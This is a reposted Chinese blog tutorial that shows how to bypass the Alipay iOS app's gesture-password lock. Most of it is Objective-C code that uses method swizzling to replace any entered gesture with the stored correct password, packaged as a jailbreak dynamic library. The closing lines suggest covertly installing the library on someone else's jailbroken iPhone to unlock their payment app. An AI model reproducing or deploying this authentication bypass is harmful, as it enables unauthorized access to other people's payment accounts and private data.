Hack 实战——支付宝 App 手势密码校验欺骗(转)

本文将继续深入 hack 实战,hook 支付宝手势密码校验操作,欺骗其通过任意手势输入。

那么到现在为止,我们已经掌握了什么信息呢?

1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势

2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword

思路马上清晰了,我们需要做 2 步:

1)hook getPassword 存下正确的密码

2)hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码

一个关键点,我们是用 Method Swizzling 来 hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class 后,才能进行 imp 替换。

所以, 我采用 NSNotificationCenter 通知机制协助完成任务。

#import#importIMP ori_getPasswd_IMP = NULL;

IMP ori_gesture_IMP = NULL;

@interface NSObject (HackPortal)

@end

@implementation NSObject (HackPortal)

+ (id)getPassword

{

NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));

return passwd;

}

- (void)gestureInputView:(id)view didFinishWithPassword:(id)password

{

password = ori_getPasswd_IMP(self, @selector(getPassword));

ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);

}

@end

@implementation PortalListener

- (id)init

{

self = [super init];

if (self) {

[[NSNotificationCenter defaultCenter]addObserver:self

selector:@selector(appLaunched:)

name:UIApplicationDidBecomeActiveNotification

object:nil];

}

return self;

}

- (void)appLaunched:(NSNotification *)notification

{

Class class_GestureUtil = NSClassFromString(@"GestureUtil");

Class class_PortalListener = NSClassFromString(@"PortalListener");

Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));

ori_getPasswd_IMP = method_getImplementation(ori_Method);

Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));

method_exchangeImplementations(ori_Method, my_Method);

Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");

Method ori_Method1 = class_getInstanceMethod(class_Gesture,

@selector(gestureInputView:didFinishWithPassword:));

ori_gesture_IMP = method_getImplementation(ori_Method1);

Method my_Method1 = class_getInstanceMethod(class_PortalListener,

@selector(gestureInputView:didFinishWithPassword:));

method_exchangeImplementations(ori_Method1, my_Method1);

}

-(void)dealloc

{

[[NSNotificationCenter defaultCenter]removeObserver:self];

}

@end

static void __attribute__((constructor)) initialize(void)

{

static PortalListener *entrance;

entrance = [[PortalListener alloc]init];

}

OK!编译好动态库,塞进 iPhone 试试效果吧~

不管我们输入什么手势,都会被替换为正确的密码去给 gestureInputView:didFinishWithPassword: 验证,然后顺利解锁。

这意味着什么呢?

意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的 iPhone 的 /Library/MobileSubstrate/DynamicLibraries/ 目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”

你可能感兴趣的:(Hack 实战——支付宝 App 手势密码校验欺骗(转))